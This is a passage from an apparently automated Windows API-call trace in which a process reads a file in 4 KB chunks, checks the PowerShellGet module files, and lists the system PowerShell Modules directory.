lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.730] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x77000 [0172.731] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.732] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x78000 [0172.732] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.732] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x79000 [0172.732] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.733] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7a000 [0172.733] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.734] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7b000 [0172.734] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.735] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7c000 [0172.735] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.735] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7d000 [0172.735] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.736] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7e000 [0172.736] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.737] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7f000 [0172.737] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.738] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x80000 [0172.738] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.738] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x81000 [0172.739] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.825] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x82000 [0177.826] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.826] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x83000 [0177.826] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.827] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x84000 [0177.827] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.827] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x85000 [0177.828] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.828] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x86000 [0177.828] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.829] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x87000 [0177.829] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.829] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x88000 [0177.829] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.830] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x89000 [0177.830] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.830] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8a000 [0177.830] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.831] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8b000 [0177.831] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0177.832] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8c000 [0177.832] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0xaa9, lpOverlapped=0x0) returned 1 [0177.832] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8caa9 [0177.832] ReadFile (in: hFile=0x3dc, lpBuffer=0x25048e5, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x25048e5*, lpNumberOfBytesRead=0x5a8d4c4*=0x0, lpOverlapped=0x0) returned 1 [0177.832] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8caa9 [0177.832] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x0, lpOverlapped=0x0) returned 1 [0177.851] CloseHandle (hObject=0x3dc) returned 1 [0182.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0182.097] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0182.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d21c) returned 1 [0182.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x257281c | out: lpFileInformation=0x257281c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0182.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d218) returned 1 [0182.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e014) returned 1 [0182.228] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2596d54 | out: lpFileInformation=0x2596d54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e010) returned 1 [0182.331] EtwEventActivityIdControl () returned 0x0 [0182.338] SetEvent (hEvent=0x410) returned 1 [0182.338] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a8e7f4*=0x410, lpdwindex=0x5a8e618 | out: lpdwindex=0x5a8e618) returned 0x0 [0182.341] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.341] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e6d4) returned 1 [0182.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2599d58 | out: lpFileInformation=0x2599d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e6d0) returned 1 [0182.341] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0182.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0182.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0182.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0182.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0182.342] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0182.348] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0182.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e9e4) returned 1 [0182.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0182.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0182.396] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5a8e794 | out: lpFindFileData=0x5a8e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5505c0 [0182.396] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.396] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0182.397] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0182.398] FindNextFileW (in: hFindFile=0x5505c0, lpFindFileData=0x5a8e79c | out: lpFindFileData=0x5a8e79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, 